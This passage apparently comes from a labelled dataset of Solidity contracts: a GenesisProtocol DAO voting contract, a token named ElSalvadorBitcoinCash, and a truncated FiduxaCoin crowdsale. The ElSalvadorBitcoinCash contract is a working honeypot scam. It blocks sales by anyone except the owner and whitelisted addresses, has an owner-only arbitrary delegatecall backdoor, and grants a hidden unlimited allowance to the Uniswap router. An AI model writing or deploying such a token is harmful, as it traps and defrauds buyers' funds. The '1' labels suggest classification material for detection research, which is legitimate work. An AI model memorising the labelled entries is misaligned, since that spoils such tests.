proposal.daoBountyRemain = parameters[_paramsHash].minimumDaoBounty;
} else {
proposal.daoBountyRemain = daoBounty;
}
proposal.totalStakes = proposal.daoBountyRemain;
proposals[proposalId] = proposal;
proposals[proposalId].stakes[NO] = proposal.daoBountyRemain;
emit NewProposal(proposalId, organizations[proposal.organizationId], NUM_OF_CHOICES, _proposer, _paramsHash);
return proposalId;
}
function executeBoosted(bytes32 _proposalId) external returns(uint256 expirationCallBounty) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Boosted || proposal.state == ProposalState.QuietEndingPeriod,
"proposal state in not Boosted nor QuietEndingPeriod");
require(_execute(_proposalId), "proposal need to expire");
uint256 expirationCallBountyPercentage =
(uint(1).add(now.sub(proposal.currentBoostedVotePeriodLimit.add(proposal.times[1])).div(15)));
if (expirationCallBountyPercentage > 100) {
expirationCallBountyPercentage = 100;
}
proposal.expirationCallBountyPercentage = expirationCallBountyPercentage;
expirationCallBounty = expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100);
require(stakingToken.transfer(msg.sender, expirationCallBounty), "transfer to msg.sender failed");
emit ExpirationCallBounty(_proposalId, msg.sender, expirationCallBounty);
}
function setParameters(
uint[11] calldata _params,
address _voteOnBehalf
)
external
returns(bytes32)
{
require(_params[0] <= 100 && _params[0] >= 50, "50 <= queuedVoteRequiredPercentage <= 100");
require(_params[4] <= 16000 && _params[4] > 1000, "1000 < thresholdConst <= 16000");
require(_params[7] <= 100, "votersReputationLossRatio <= 100");
require(_params[2] >= _params[5], "boostedVotePeriodLimit >= quietEndingPeriod");
require(_params[8] > 0, "minimumDaoBounty should be > 0");
require(_params[9] > 0, "daoBountyConst should be > 0");
bytes32 paramsHash = getParametersHash(_params, _voteOnBehalf);
uint256 limitExponent = 172;
uint256 j = 2;
for (uint256 i = 2000; i < 16000; i = i*2) {
if ((_params[4] > i) && (_params[4] <= i*2)) {
limitExponent = limitExponent/j;
break;
}
j++;
}
parameters[paramsHash] = Parameters({
queuedVoteRequiredPercentage: _params[0],
queuedVotePeriodLimit: _params[1],
boostedVotePeriodLimit: _params[2],
preBoostedVotePeriodLimit: _params[3],
thresholdConst:uint216(_params[4]).fraction(uint216(1000)),
limitExponentValue:limitExponent,
quietEndingPeriod: _params[5],
proposingRepReward: _params[6],
votersReputationLossRatio:_params[7],
minimumDaoBounty:_params[8],
daoBountyConst:_params[9],
activationTime:_params[10],
voteOnBehalf:_voteOnBehalf
});
return paramsHash;
}
function redeem(bytes32 _proposalId, address _beneficiary) public returns (uint[3] memory rewards) {
Proposal storage proposal = proposals[_proposalId];
require((proposal.state == ProposalState.Executed)||(proposal.state == ProposalState.ExpiredInQueue),
"Proposal should be Executed or ExpiredInQueue");
Parameters memory params = parameters[proposal.paramsHash];
uint256 lostReputation;
if (proposal.winningVote == YES) {
lostReputation = proposal.preBoostedVotes[NO];
} else {
lostReputation = proposal.preBoostedVotes[YES];
}
lostReputation = (lostReputation.mul(params.votersReputationLossRatio))/100;
Staker storage staker = proposal.stakers[_beneficiary];
uint256 totalStakes = proposal.stakes[NO].add(proposal.stakes[YES]);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
if (staker.amount > 0) {
uint256 totalStakesLeftAfterCallBounty =
totalStakes.sub(proposal.expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100));
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[0] = staker.amount;
} else if (staker.vote == proposal.winningVote) {
if (staker.vote == YES) {
if (proposal.daoBounty < totalStakesLeftAfterCallBounty) {
uint256 _totalStakes = totalStakesLeftAfterCallBounty.sub(proposal.daoBounty);
rewards[0] = (staker.amount.mul(_totalStakes))/totalWinningStakes;
}
} else {
rewards[0] = (staker.amount.mul(totalStakesLeftAfterCallBounty))/totalWinningStakes;
}
}
staker.amount = 0;
}
if (proposal.daoRedeemItsWinnings == false &&
_beneficiary == organizations[proposal.organizationId] &&
proposal.state != ProposalState.ExpiredInQueue &&
proposal.winningVote == NO) {
rewards[0] =
rewards[0].add((proposal.daoBounty.mul(totalStakes))/totalWinningStakes).sub(proposal.daoBounty);
proposal.daoRedeemItsWinnings = true;
}
Voter storage voter = proposal.voters[_beneficiary];
if ((voter.reputation != 0) && (voter.preBoosted)) {
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100);
} else if (proposal.winningVote == voter.vote) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100)
.add((voter.reputation.mul(lostReputation))/proposal.preBoostedVotes[proposal.winningVote]);
}
voter.reputation = 0;
}
if ((proposal.proposer == _beneficiary)&&(proposal.winningVote == YES)&&(proposal.proposer != address(0))) {
rewards[2] = params.proposingRepReward;
proposal.proposer = address(0);
}
if (rewards[0] != 0) {
proposal.totalStakes = proposal.totalStakes.sub(rewards[0]);
require(stakingToken.transfer(_beneficiary, rewards[0]), "transfer to beneficiary failed");
emit Redeem(_proposalId, organizations[proposal.organizationId], _beneficiary, rewards[0]);
}
if (rewards[1].add(rewards[2]) != 0) {
VotingMachineCallbacksInterface(proposal.callbacks)
.mintReputation(rewards[1].add(rewards[2]), _beneficiary, _proposalId);
emit RedeemReputation(
_proposalId,
organizations[proposal.organizationId],
_beneficiary,
rewards[1].add(rewards[2])
);
}
}
function redeemDaoBounty(bytes32 _proposalId, address _beneficiary)
public
returns(uint256 redeemedAmount, uint256 potentialAmount) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Executed);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
Staker storage staker = proposal.stakers[_beneficiary];
if (
(staker.amount4Bounty > 0)&&
(staker.vote == proposal.winningVote)&&
(proposal.winningVote == YES)&&
(totalWinningStakes != 0)) {
potentialAmount = (staker.amount4Bounty * proposal.daoBounty)/totalWinningStakes;
}
if ((potentialAmount != 0)&&
(VotingMachineCallbacksInterface(proposal.callbacks)
.balanceOfStakingToken(stakingToken, _proposalId) >= potentialAmount)) {
staker.amount4Bounty = 0;
proposal.daoBountyRemain = proposal.daoBountyRemain.sub(potentialAmount);
require(
VotingMachineCallbacksInterface(proposal.callbacks)
.stakingTokenTransfer(stakingToken, _beneficiary, potentialAmount, _proposalId));
redeemedAmount = potentialAmount;
emit RedeemDaoBounty(_proposalId, organizations[proposal.organizationId], _beneficiary, redeemedAmount);
}
}
function shouldBoost(bytes32 _proposalId) public view returns(bool) {
Proposal memory proposal = proposals[_proposalId];
return (_score(_proposalId) > threshold(proposal.paramsHash, proposal.organizationId));
}
function threshold(bytes32 _paramsHash, bytes32 _organizationId) public view returns(uint256) {
uint256 power = orgBoostedProposalsCnt[_organizationId];
Parameters storage params = parameters[_paramsHash];
if (power > params.limitExponentValue) {
power = params.limitExponentValue;
}
return params.thresholdConst.pow(power);
}
function getParametersHash(
uint[11] memory _params,
address _voteOnBehalf
)
public
pure
returns(bytes32)
{
return keccak256(
abi.encodePacked(
keccak256(
abi.encodePacked(
_params[0],
_params[1],
_params[2],
_params[3],
_params[4],
_params[5],
_params[6],
_params[7],
_params[8],
_params[9],
_params[10])
),
_voteOnBehalf
));
}
function _execute(bytes32 _proposalId) internal votable(_proposalId) returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
Proposal memory tmpProposal = proposal;
uint256 totalReputation =
VotingMachineCallbacksInterface(proposal.callbacks).getTotalReputationSupply(_proposalId);
uint256 executionBar = (totalReputation/100) * params.queuedVoteRequiredPercentage;
ExecutionState executionState = ExecutionState.None;
uint256 averageDownstakesOfBoosted;
uint256 confidenceThreshold;
if (proposal.votes[proposal.winningVote] > executionBar) {
if (proposal.state == ProposalState.Queued) {
executionState = ExecutionState.QueueBarCrossed;
} else if (proposal.state == ProposalState.PreBoosted) {
executionState = ExecutionState.PreBoostedBarCrossed;
} else {
executionState = ExecutionState.BoostedBarCrossed;
}
proposal.state = ProposalState.Executed;
} else {
if (proposal.state == ProposalState.Queued) {
if ((now - proposal.times[0]) >= params.queuedVotePeriodLimit) {
proposal.state = ProposalState.ExpiredInQueue;
proposal.winningVote = NO;
executionState = ExecutionState.QueueTimeOut;
} else {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if (_score(_proposalId) > confidenceThreshold) {
proposal.state = ProposalState.PreBoosted;
proposal.times[2] = now;
proposal.confidenceThreshold = confidenceThreshold;
}
}
}
if (proposal.state == ProposalState.PreBoosted) {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if ((now - proposal.times[2]) >= params.preBoostedVotePeriodLimit) {
if ((_score(_proposalId) > confidenceThreshold) &&
(orgBoostedProposalsCnt[proposal.organizationId] < MAX_BOOSTED_PROPOSALS)) {
proposal.state = ProposalState.Boosted;
proposal.times[1] = now;
orgBoostedProposalsCnt[proposal.organizationId]++;
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
uint256(int256(averageDownstakesOfBoosted) +
((int256(proposal.stakes[NO])-int256(averageDownstakesOfBoosted))/
int256(orgBoostedProposalsCnt[proposal.organizationId])));
}
} else {
uint256 proposalScore = _score(_proposalId);
if (proposalScore <= proposal.confidenceThreshold.min(confidenceThreshold)) {
proposal.state = ProposalState.Queued;
} else if (proposal.confidenceThreshold > proposalScore) {
proposal.confidenceThreshold = confidenceThreshold;
emit ConfidenceLevelChange(_proposalId, confidenceThreshold);
}
}
}
}
if ((proposal.state == ProposalState.Boosted) ||
(proposal.state == ProposalState.QuietEndingPeriod)) {
if ((now - proposal.times[1]) >= proposal.currentBoostedVotePeriodLimit) {
proposal.state = ProposalState.Executed;
executionState = ExecutionState.BoostedTimeOut;
}
}
if (executionState != ExecutionState.None) {
if ((executionState == ExecutionState.BoostedTimeOut) ||
(executionState == ExecutionState.BoostedBarCrossed)) {
orgBoostedProposalsCnt[tmpProposal.organizationId] =
orgBoostedProposalsCnt[tmpProposal.organizationId].sub(1);
uint256 boostedProposals = orgBoostedProposalsCnt[tmpProposal.organizationId];
if (boostedProposals == 0) {
averagesDownstakesOfBoosted[proposal.organizationId] = 0;
} else {
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
(averageDownstakesOfBoosted.mul(boostedProposals+1).sub(proposal.stakes[NO]))/boostedProposals;
}
}
emit ExecuteProposal(
_proposalId,
organizations[proposal.organizationId],
proposal.winningVote,
totalReputation
);
emit GPExecuteProposal(_proposalId, executionState);
ProposalExecuteInterface(proposal.callbacks).executeProposal(_proposalId, int(proposal.winningVote));
proposal.daoBounty = proposal.daoBountyRemain;
}
if (tmpProposal.state != proposal.state) {
emit StateChange(_proposalId, proposal.state);
}
return (executionState != ExecutionState.None);
}
function _stake(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _staker) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "wrong vote value");
require(_amount > 0, "staking amount should be >0");
if (_execute(_proposalId)) {
return true;
}
Proposal storage proposal = proposals[_proposalId];
if ((proposal.state != ProposalState.PreBoosted) &&
(proposal.state != ProposalState.Queued)) {
return false;
}
Staker storage staker = proposal.stakers[_staker];
if ((staker.amount > 0) && (staker.vote != _vote)) {
return false;
}
uint256 amount = _amount;
require(stakingToken.transferFrom(_staker, address(this), amount), "fail transfer from staker");
proposal.totalStakes = proposal.totalStakes.add(amount);
staker.amount = staker.amount.add(amount);
require(staker.amount <= 0x100000000000000000000000000000000, "staking amount is too high");
require(proposal.totalStakes <= 0x100000000000000000000000000000000, "total stakes is too high");
if (_vote == YES) {
staker.amount4Bounty = staker.amount4Bounty.add(amount);
}
staker.vote = _vote;
proposal.stakes[_vote] = amount.add(proposal.stakes[_vote]);
emit Stake(_proposalId, organizations[proposal.organizationId], _staker, _vote, _amount);
return _execute(_proposalId);
}
function internalVote(bytes32 _proposalId, address _voter, uint256 _vote, uint256 _rep) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "0 < _vote <= 2");
if (_execute(_proposalId)) {
return true;
}
Parameters memory params = parameters[proposals[_proposalId].paramsHash];
Proposal storage proposal = proposals[_proposalId];
uint256 reputation = VotingMachineCallbacksInterface(proposal.callbacks).reputationOf(_voter, _proposalId);
require(reputation > 0, "_voter must have reputation");
require(reputation >= _rep, "reputation >= _rep");
uint256 rep = _rep;
if (rep == 0) {
rep = reputation;
}
if (proposal.voters[_voter].reputation != 0) {
return false;
}
proposal.votes[_vote] = rep.add(proposal.votes[_vote]);
if ((proposal.votes[_vote] > proposal.votes[proposal.winningVote]) ||
((proposal.votes[NO] == proposal.votes[proposal.winningVote]) &&
proposal.winningVote == YES)) {
if (proposal.state == ProposalState.Boosted &&
((now - proposal.times[1]) >= (params.boostedVotePeriodLimit - params.quietEndingPeriod))||
proposal.state == ProposalState.QuietEndingPeriod) {
if (proposal.state != ProposalState.QuietEndingPeriod) {
proposal.currentBoostedVotePeriodLimit = params.quietEndingPeriod;
proposal.state = ProposalState.QuietEndingPeriod;
}
proposal.times[1] = now;
}
proposal.winningVote = _vote;
}
proposal.voters[_voter] = Voter({
reputation: rep,
vote: _vote,
preBoosted:((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued))
});
if ((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued)) {
proposal.preBoostedVotes[_vote] = rep.add(proposal.preBoostedVotes[_vote]);
uint256 reputationDeposit = (params.votersReputationLossRatio.mul(rep))/100;
VotingMachineCallbacksInterface(proposal.callbacks).burnReputation(reputationDeposit, _voter, _proposalId);
}
emit VoteProposal(_proposalId, organizations[proposal.organizationId], _voter, _vote, rep);
return _execute(_proposalId);
}
function _score(bytes32 _proposalId) internal view returns(uint256) {
Proposal storage proposal = proposals[_proposalId];
return uint216(proposal.stakes[YES]).fraction(uint216(proposal.stakes[NO]));
}
function _isVotable(bytes32 _proposalId) internal view returns(bool) {
ProposalState pState = proposals[_proposalId].state;
return ((pState == ProposalState.PreBoosted)||
(pState == ProposalState.Boosted)||
(pState == ProposalState.QuietEndingPeriod)||
(pState == ProposalState.Queued)
);
}
}
pragma solidity ^0.5.4;
contract GenesisProtocol is IntVoteInterface, GenesisProtocolLogic {
using ECDSA for bytes32;
bytes32 public constant DELEGATION_HASH_EIP712 =
keccak256(abi.encodePacked(
"address GenesisProtocolAddress",
"bytes32 ProposalId",
"uint256 Vote",
"uint256 AmountToStake",
"uint256 Nonce"
));
mapping(address=>uint256) public stakesNonce;
constructor(IERC20 _stakingToken)
public
GenesisProtocolLogic(_stakingToken) {
}
function stake(bytes32 _proposalId, uint256 _vote, uint256 _amount) external returns(bool) {
return _stake(_proposalId, _vote, _amount, msg.sender);
}
function stakeWithSignature(
bytes32 _proposalId,
uint256 _vote,
uint256 _amount,
uint256 _nonce,
uint256 _signatureType,
bytes calldata _signature
)
external
returns(bool)
{
bytes32 delegationDigest;
if (_signatureType == 2) {
delegationDigest = keccak256(
abi.encodePacked(
DELEGATION_HASH_EIP712, keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
)
)
);
} else {
delegationDigest = keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
).toEthSignedMessageHash();
}
address staker = delegationDigest.recover(_signature);
require(staker != address(0), "staker address cannot be 0");
require(stakesNonce[staker] == _nonce);
stakesNonce[staker] = stakesNonce[staker].add(1);
return _stake(_proposalId, _vote, _amount, staker);
}
function vote(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _voter)
external
votable(_proposalId)
returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
address voter;
if (params.voteOnBehalf != address(0)) {
require(msg.sender == params.voteOnBehalf);
voter = _voter;
} else {
voter = msg.sender;
}
return internalVote(_proposalId, voter, _vote, _amount);
}
function cancelVote(bytes32 _proposalId) external votable(_proposalId) {
return;
}
function execute(bytes32 _proposalId) external votable(_proposalId) returns(bool) {
return _execute(_proposalId);
}
function getNumberOfChoices(bytes32) external view returns(uint256) {
return NUM_OF_CHOICES;
}
function getProposalTimes(bytes32 _proposalId) external view returns(uint[3] memory times) {
return proposals[_proposalId].times;
}
function voteInfo(bytes32 _proposalId, address _voter) external view returns(uint, uint) {
Voter memory voter = proposals[_proposalId].voters[_voter];
return (voter.vote, voter.reputation);
}
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256) {
return proposals[_proposalId].votes[_choice];
}
function isVotable(bytes32 _proposalId) external view returns(bool) {
return _isVotable(_proposalId);
}
function proposalStatus(bytes32 _proposalId) external view returns(uint256, uint256, uint256, uint256) {
return (
proposals[_proposalId].preBoostedVotes[YES],
proposals[_proposalId].preBoostedVotes[NO],
proposals[_proposalId].stakes[YES],
proposals[_proposalId].stakes[NO]
);
}
function getProposalOrganization(bytes32 _proposalId) external view returns(bytes32) {
return (proposals[_proposalId].organizationId);
}
function getStaker(bytes32 _proposalId, address _staker) external view returns(uint256, uint256) {
return (proposals[_proposalId].stakers[_staker].vote, proposals[_proposalId].stakers[_staker].amount);
}
function voteStake(bytes32 _proposalId, uint256 _vote) external view returns(uint256) {
return proposals[_proposalId].stakes[_vote];
}
function winningVote(bytes32 _proposalId) external view returns(uint256) {
return proposals[_proposalId].winningVote;
}
function state(bytes32 _proposalId) external view returns(ProposalState) {
return proposals[_proposalId].state;
}
function isAbstainAllow() external pure returns(bool) {
return false;
}
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max) {
return (YES, NO);
}
function score(bytes32 _proposalId) public view returns(uint256) {
return _score(_proposalId);
}
} | 1 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ElSalvadorBitcoinCash {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 |
pragma solidity ^0.4.13;
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
uint256 public icoStartTime;
uint256 public icoDiscountTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
uint256 public tokensIssued;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _icoStartTime, uint256 _icoDiscountTime, uint256 _rate, address _wallet) public {
require(_startTime >= 1517443200);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
startTime = _startTime;
icoStartTime=_icoStartTime;
icoDiscountTime = _icoDiscountTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
token = createTokenContract();
}
function createTokenContract() internal returns (MintableToken) {
MintableToken _token = new FiduxaCoin();
_token.mint(wallet, 20000000000000000000000000);
return _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
tokensIssued = tokensIssued.add(tokens);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function hasEnded() public view returns (bool) {
bool capReached = tokensIssued >= 80000000000000000000000000;
bool timeOver = now > endTime;
return capReached || timeOver;
}
function getTokenAmount(uint256 weiAmount) internal view returns(uint256) {
if (now >= icoDiscountTime ) return weiAmount.mul(rate);
else if (now >= icoStartTime ) return weiAmount.mul(rate).div(100).mul(120);
else return weiAmount.mul(rate).div(100).mul(140);
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
bool withinCap = tokensIssued <= 80000000000000000000000000;
return withinPeriod && nonZeroPurchase && withinCap;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FiduxaCoinCrowdsale is Crowdsale {
function FiduxaCoinCrowdsale(uint256 _startTime, uint256 _endTime, uint256 _icoStartTime, uint256 _icoDiscountTime, uint256 _rate, address _wallet)
Crowdsale(_startTime, _endTime, _icoStartTime, _icoDiscountTime, _rate, _wallet) public {
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
